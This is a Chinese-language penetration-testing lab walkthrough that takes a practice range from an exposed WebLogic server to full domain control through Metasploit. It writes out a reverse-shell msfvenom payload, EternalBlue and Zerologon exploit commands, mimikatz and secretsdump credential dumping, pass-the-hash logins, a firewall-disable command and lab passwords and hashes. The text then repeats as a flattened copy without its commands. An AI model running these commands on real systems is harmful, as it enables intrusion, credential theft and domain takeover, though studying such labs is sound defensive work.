MSF多层内网渗透全过程
字数 2118 2025-08-26 22:11:15

MSF多层内网渗透实战教学文档

前言

本教学文档详细记录了使用Metasploit Framework(MSF)进行多层内网渗透的完整过程,从外网打点到内网横向渗透,最终获取整个内网权限。文档基于真实靶场环境,涵盖了信息收集、漏洞利用、权限提升、横向移动、域渗透等关键环节。

靶场环境

网络拓扑

靶场包含多个网络区域:

  • DMZ区域:单机服务器(192.168.10.22)
  • 内网区域1:域内个人PC(10.10.20.7)
  • 内网区域2:域内服务器(10.10.10.18)和域控(10.10.10.8)

靶机信息

  1. 域控(OWA)

    • 系统:Windows Server 2008
    • 服务:IIS + Exchange 2013
    • 目录还原密码:redteam!@#45
    • 域管理员:administrator:Admin12345!
  2. 域内MSSQL服务器(sqlserver-2008)

    • 系统:Windows Server 2008 + SQL Server 2008
    • 配置:非约束委派
    • 本地管理员:Administrator:Admin12345
    • 域账户:redteam\sqlserver:Server12345(约束委派)
    • MSSQL:sa:sa
  3. 域内个人PC(work-7)

    • 系统:Windows 7
    • 本地管理员:john:admin!@#45
    • 域账户:redteam\saul:admin!@#45
  4. 单机服务器(weblogic)

    • 系统:Windows server r2 + weblogic
    • 本地管理员:Administrator:Admin12345
    • weblogic:weblogic:weblogic123
    • 安装目录:C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain

渗透测试流程

第一阶段:外网打点

  1. 信息收集

    nmap -p1-65535 -Pn -A -T4 192.168.10.22
    

    发现7001端口存在Oracle WebLogic服务。

  2. 漏洞扫描与利用

    • 扫描WebLogic漏洞
    • 使用工具直接攻击,注入内存马
    • 使用冰蝎连接获取shell
    • 确认获得administrator权限

第二阶段:内网横向渗透

  1. 信息收集

    • 检查杀软:tasklist
    • 生成payload:
      msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.9 LPORT=7777 -f exe > shell.exe
      
    • 上传payload并获取meterpreter会话
  2. 凭证收集

    • 抓取自动登录密码:
      run windows/gather/credentials/windows_autologin
      
    • 导出密码哈希:
      hashdump
      
    • 获得本地管理员密码:Administrator:Admin12345
  3. 网络发现

    • 发现双网卡配置
    • 使用fscan扫描新网段:
      fscan64.exe -h 10.10.20.0/24 > result.txt
      
    • 发现新主机10.10.20.7开放445端口
  4. MS17-010漏洞利用

    • 添加路由:
      run get_local_subnets
      run autoroute -s 10.10.20.0/24
      run autoroute -p
      
    • 扫描漏洞:
      search ms17-010
      use 3
      set rhost 10.10.20.7
      run
      
    • 利用漏洞:
      use exploit/windows/smb/ms17_010_eternalblue
      set payload windows/x64/meterpreter/bind_tcp
      set lport 11111
      run
      
    • 获得system权限
  5. 凭证收集

    • 使用mimikatz:
      load mimikatz
      creds_all
      
    • 获得域账户:saul:admin!@#45
    • 其他方式收集:
      hashdump
      run windows/gather/smart_hashdump
      run windows/gather/credentials/windows_autologin
      
      获得本地用户:john:admin!@#45

第三阶段:域内渗透

  1. 发现新网段

    • 添加路由
    • 使用fscan扫描发现10.10.10.18(1433端口开放)
    • 发现MSSQL弱口令:sa:sa
  2. MSSQL利用

    • 使用SharpSQLTools执行命令:
      SharpSQLTools.exe 10.10.10.18 sa sa master install_clr
      SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
      SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami
      
    • 使用MSF模块:
      use exploit/windows/mssql/mssql_clr_payload
      
    • 上传木马并执行,获得高权限
  3. 凭证收集

    • 使用mimikatz获得:
      • Administrator:Admin12345
      • sqlserver:Server12345
  4. 域控攻击

    • 确认域控(10.10.10.8):
      net group "domain controllers" /domain
      nslookup redteam.red
      nslookup -type=SRV _ldap._tcp
      net time /domain
      
    • 利用CVE-2020-1472(Netlogon特权提升漏洞):
      python cve-2020-1472-exploit.py OWA 10.10.10.8
      
    • 读取域控hash:
      python secretsdump.py redteam.red/OWA$@10.10.10.8 -just-dc -no-pass
      
    • 使用hash登录:
      python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:028b70314013e1372797cff51298880e redteam.red/administrator@10.10.10.8 -codec gbk
      
    • 关闭防火墙:
      netsh advfirewall set allprofiles state off
      
    • 使用PSEXEC上线MSF:
      use exploit/windows/smb/psexec
      set SMBUser administrator
      set SMBPass aad3b435b51404eeaad3b435b51404ee:028b70314013e1372797cff51298880e
      set payload windows/x64/meterpreter/bind_tcp
      set rhost 10.10.10.8
      set lport 4446
      run
      
  5. 权限维持与恢复

    • 导出原始hash:
      reg save HKLM\SYSTEM system.save
      reg save HKLM\SAM sam.save
      reg save HKLM\SECURITY security.save
      
    • 下载并删除文件
    • 查看原始hash:
      python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
      
    • 恢复hash:
      python reinstall_original_pw.py OWA 10.10.10.8 f4044edaafbdca41a6e53d234c14ab9a
      
    • 验证恢复:
      python secretsdump.py redteam.red/OWA$@10.10.10.8 -just-dc -no-pass
      

关键技术与工具

  1. 信息收集工具

    • Nmap:端口扫描和服务识别
    • Fscan:内网快速扫描工具
  2. 漏洞利用

    • WebLogic漏洞利用
    • MS17-010(EternalBlue)漏洞利用
    • CVE-2020-1472(Netlogon)漏洞利用
  3. 权限提升

    • MSSQL CLR提权技术
    • SharpSQLTools工具使用
  4. 横向移动

    • 凭证传递攻击
    • SMB协议利用(PSEXEC)
    • WMI远程执行
  5. 域渗透

    • 非约束/约束委派利用
    • 黄金票据攻击
    • DCSync攻击
  6. 权限维持

    • 注册表操作
    • 哈希保存与恢复

总结与经验

  1. 多层网络渗透要点

    • 每拿下一台机器后,首先进行全面的信息收集
    • 注意检查多网卡配置,发现新网段
    • 凭证收集是内网横向移动的关键
  2. MSF使用技巧

    • 合理使用autoroute添加路由
    • 善用各种post模块进行信息收集
    • 注意payload的选择(bind_tcp/reverse_tcp)
  3. 域渗透注意事项

    • 攻击域控前确认其身份
    • 使用漏洞攻击后要及时恢复,避免脱域
    • 注意清理攻击痕迹
  4. 工具准备

    • 准备好常用工具如mimikatz、fscan、SharpSQLTools等
    • 了解各种工具的使用场景和限制

本教学文档详细记录了从外网到内网,再到域控的完整渗透流程,涵盖了当前内网渗透中的主要技术点和工具使用。在实际渗透测试中,应根据目标环境灵活调整策略,并始终遵守法律法规和授权范围。

MSF多层内网渗透实战教学文档 前言 本教学文档详细记录了使用Metasploit Framework(MSF)进行多层内网渗透的完整过程,从外网打点到内网横向渗透,最终获取整个内网权限。文档基于真实靶场环境,涵盖了信息收集、漏洞利用、权限提升、横向移动、域渗透等关键环节。 靶场环境 网络拓扑 靶场包含多个网络区域: DMZ区域:单机服务器(192.168.10.22) 内网区域1:域内个人PC(10.10.20.7) 内网区域2:域内服务器(10.10.10.18)和域控(10.10.10.8) 靶机信息 域控(OWA) 系统:Windows Server 2008 服务:IIS + Exchange 2013 目录还原密码:redteam !@#45 域管理员:administrator:Admin12345 ! 域内MSSQL服务器(sqlserver-2008) 系统:Windows Server 2008 + SQL Server 2008 配置:非约束委派 本地管理员:Administrator:Admin12345 域账户:redteam\sqlserver:Server12345(约束委派) MSSQL:sa:sa 域内个人PC(work-7) 系统:Windows 7 本地管理员:john:admin !@#45 域账户:redteam\saul:admin !@#45 单机服务器(weblogic) 系统:Windows server r2 + weblogic 本地管理员:Administrator:Admin12345 weblogic:weblogic:weblogic123 安装目录:C:\Oracle\Middleware\Oracle_ Home\user_ projects\domains\base_ domain 渗透测试流程 第一阶段:外网打点 信息收集 发现7001端口存在Oracle WebLogic服务。 漏洞扫描与利用 扫描WebLogic漏洞 使用工具直接攻击,注入内存马 使用冰蝎连接获取shell 确认获得administrator权限 第二阶段:内网横向渗透 信息收集 检查杀软: tasklist 生成payload: 上传payload并获取meterpreter会话 凭证收集 抓取自动登录密码: 导出密码哈希: 获得本地管理员密码:Administrator:Admin12345 网络发现 发现双网卡配置 使用fscan扫描新网段: 发现新主机10.10.20.7开放445端口 MS17-010漏洞利用 添加路由: 扫描漏洞: 利用漏洞: 获得system权限 凭证收集 使用mimikatz: 获得域账户:saul:admin !@#45 其他方式收集: 获得本地用户:john:admin !@#45 第三阶段:域内渗透 发现新网段 添加路由 使用fscan扫描发现10.10.10.18(1433端口开放) 发现MSSQL弱口令:sa:sa MSSQL利用 使用SharpSQLTools执行命令: 使用MSF模块: 上传木马并执行,获得高权限 凭证收集 使用mimikatz获得: Administrator:Admin12345 sqlserver:Server12345 域控攻击 确认域控(10.10.10.8): 利用CVE-2020-1472(Netlogon特权提升漏洞): 读取域控hash: 使用hash登录: 关闭防火墙: 使用PSEXEC上线MSF: 权限维持与恢复 导出原始hash: 下载并删除文件 查看原始hash: 恢复hash: 验证恢复: 关键技术与工具 信息收集工具 Nmap:端口扫描和服务识别 Fscan:内网快速扫描工具 漏洞利用 WebLogic漏洞利用 MS17-010(EternalBlue)漏洞利用 CVE-2020-1472(Netlogon)漏洞利用 权限提升 MSSQL CLR提权技术 SharpSQLTools工具使用 横向移动 凭证传递攻击 SMB协议利用(PSEXEC) WMI远程执行 域渗透 非约束/约束委派利用 黄金票据攻击 DCSync攻击 权限维持 注册表操作 哈希保存与恢复 总结与经验 多层网络渗透要点 每拿下一台机器后,首先进行全面的信息收集 注意检查多网卡配置,发现新网段 凭证收集是内网横向移动的关键 MSF使用技巧 合理使用autoroute添加路由 善用各种post模块进行信息收集 注意payload的选择(bind_ tcp/reverse_ tcp) 域渗透注意事项 攻击域控前确认其身份 使用漏洞攻击后要及时恢复,避免脱域 注意清理攻击痕迹 工具准备 准备好常用工具如mimikatz、fscan、SharpSQLTools等 了解各种工具的使用场景和限制 本教学文档详细记录了从外网到内网,再到域控的完整渗透流程,涵盖了当前内网渗透中的主要技术点和工具使用。在实际渗透测试中,应根据目标环境灵活调整策略,并始终遵守法律法规和授权范围。